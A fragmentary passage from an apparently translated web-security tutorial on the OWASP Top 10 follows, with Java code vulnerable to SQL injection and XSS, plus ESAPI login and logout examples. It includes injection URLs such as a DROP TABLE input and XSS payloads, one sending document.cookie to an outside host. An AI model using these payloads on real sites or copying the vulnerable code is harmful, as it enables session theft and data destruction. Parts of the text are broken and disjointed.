table).
Figure 1. Of course you can add or reduce some of these layers. Everything will depend on the ratio of value of what you want to protect versus the cost to install and maintain this protection.
OWASP – The Open Web Application Security Project
NET, PHP to Python.
1. Injection;
It's a different focus, it aims to educate the community about the need for the assessment of risks inherent to the applications. The article also suggests a simple model to quantify risk, which would be a structured way to define the size of the investment being made in the process of building software to achieve the satisfactory level of security.
solutions focused on the problem, reducing the possibility of an attacker to find ways to access the application that have not been tested or foreseen;front end. When it comes to web applications, perform validation of input using JavaScript is useful to avoid the need for a request to a server with parameters that we already know to be invalid, but you must always validate rules also on the back end, because this is the environment where we have total control of what we can or can’t allow.
should be validated and also maintain a strong typing, validate the length of the field and always use the minimum necessary size, check if the numeric fields are within the expected range, etc.
ASCII = Action and Reaction
URL Encoded = A%c3%a7%c3%a3o+e+Rea%c3%a7%c3%a3o
Base 64 = QefjbyBlIFJlYefjbw==
HEX = 41 e7 e3 6f 20 65 20 52 65 61 e7 e3 6f
final String id = httpRequest.getParameter("id"); // paremeter from the request
final String sql = "SELECT * FROM clients WHERE clientID = '" + id + "'"
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
// Example of VULNERABLE code to SQL injection using do JPA #FAIL
final String id = httpRequest.getParameter("id"); // paremeter from the request
q = entityManager.createQuery("SELECT * FROM clients WHERE clientID = '" + id + "'");
http://mywebsite.com /clients?id=1234’ OR 1=1 –
SELECT * FROM customers WHERE customerID = '1234' OR 1=1 --'
http://mywebsite.com/ customers?id=1234'; DROP TABLE customers --
SELECT * FROM customers WHERE customerID = '1234'; DROP TABLE customers --'
SELECT * FROM customers WHERE customerID = "1234' OR 1=1 --"
our next type of vulnerability, the cross-site scripting.
Listing 2. Examples of possible solutions to SQL Injection.
http://mywebsite.com /customers?id=1234'><script>alert("XSS")</script>'
Listing 4. ...
Customer ID: <%= customerID %>
// code in a VULNERABLE Servlet to XSS reflected #FAIL
out.writeln("you searched for: "+request.getParameter("q"));
http://mywebsite.com/customers?id=1234'><script src=http://ha.ckers.org/xss.js></script>'
http://mywebsite.com /customers?id=1234"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>
Figure 3 shows how such attack is architected.
<
}
}
try {
String username = request.getParameter(username);
String password = request.getParameter(password);
Authenticator instance = ESAPI.authenticator();
if ( username != null && password != null ) {
if ( instance.exists(username) ) {
User user = instance.getUser(username);
if ( !instance.verifyPassword(user, password) ) {
// Erro de usuário e senha não encontrados
// O method verifyPassword increments the limit counters
}
if ( !instance.getUser(username).isEnabled() ) {
// Error showing that the account is locked or something like that
}
accountName = user.getAccountName();
lastLoginTime = user.getLastLoginTime();
lastFailedLogin = user.getLastFailedLoginTime();
failedLoginCount = user.getFailedLoginCount();
roles = user.getRoles();
lastHost = user.getLastHostAddress();
}
else {
// Error showing: Couldn’t find user or password
}
} else {
// Error Showing: User or password not informed
}
}
catch ( AuthenticationException e) {
// Handle error correctly
}
http://mywebsite.com /vendas/itens;jsessionid=B282D44B37CEF164EA3476BEA7488D78
public void logout() {
// cookie inutilization
// If a valid session is located, invalidates it
HttpSession session = ESAPI.currentRequest().getSession(false);
if (session != null) {
session.invalidate();
}
// inutilizates the cookie with a session identifier
ESAPI.httpUtilities().
killCookie(ESAPI.currentRequest(),
ESAPI.currentResponse(),
"JSESSIONID");
loggedIn = false;
logger.info(Logger.SECURITY, "Logout successful" );
ESAPI.authenticator().setCurrentUser(User.ANONYMOUS);
}
// The killCookie method overwrites cookie session
public void killCookie(HttpServletRequest request, HttpServletResponse response, String name) {
String path = "//";
String domain="";
Cookie cookie = ESAPI.httpUtilities().getCookie(request, name);
if ( cookie != null ) {
path = cookie.getPath();
domain = cookie.getDomain();
}
SafeResponse safeResponse = new SafeResponse( response );
safeResponse.addCookie(name, "deleted", 0, domain, path);
}
Conclusions
Building web applications that are sufficiently safe is a constant exercise to keep up to date with the most modern techniques of attack and to seek more simpler and efficient solutions to avoid the appearance of flaws and vulnerabilities. We accomplish this with the awareness of everyone in the organization that there is a role to be played by each in the search of a highest possible level of protection.
Don’t limit yourself to only assess the vulnerabilities known or listed on the OWASP Top 10, because there are dozens of attacks techniques. Study them; increase your knowledge, because the attackers usually have more time than you to look at where are the points of failure in your systems.
This article is not even scratching the surface of the Information Security subject, but we hope that was at least enough to stimulate the reader to pursue in-depth information. Whether you are a developer, architect, security engineer, DBA or other, practice Defense Depth and bear in mind the principles of architecture presented here and we are certainly building a web safer for everyone.
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